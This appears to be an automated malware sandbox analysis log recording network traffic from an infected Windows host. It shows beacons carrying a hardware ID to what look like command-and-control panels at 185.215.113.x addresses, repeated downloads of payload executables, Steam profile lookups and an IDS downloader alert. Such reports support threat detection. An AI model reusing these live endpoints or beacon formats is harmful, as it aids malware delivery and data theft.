Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 38 37 36 42 36 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52876B65182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="hwid"900EDE3679012263180025------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="build"doma------CBAFCAKEHDHDHIDHDGDH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 38 37 36 42 36 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52876B65182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49855 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49914 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0022CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

6_2_0022CE44

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMTIf-None-Match: "6716110b-2d3c00"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 21 Oct 2024 08:30:09 GMTIf-None-Match: "67161111-1ccc00"
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 00000015.00000003.2261116618.0000016C0B391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2220389420.0000016C0AFBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2198277027.0000016C164FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2198277027.0000016C164FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2082774032.0000016C139F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
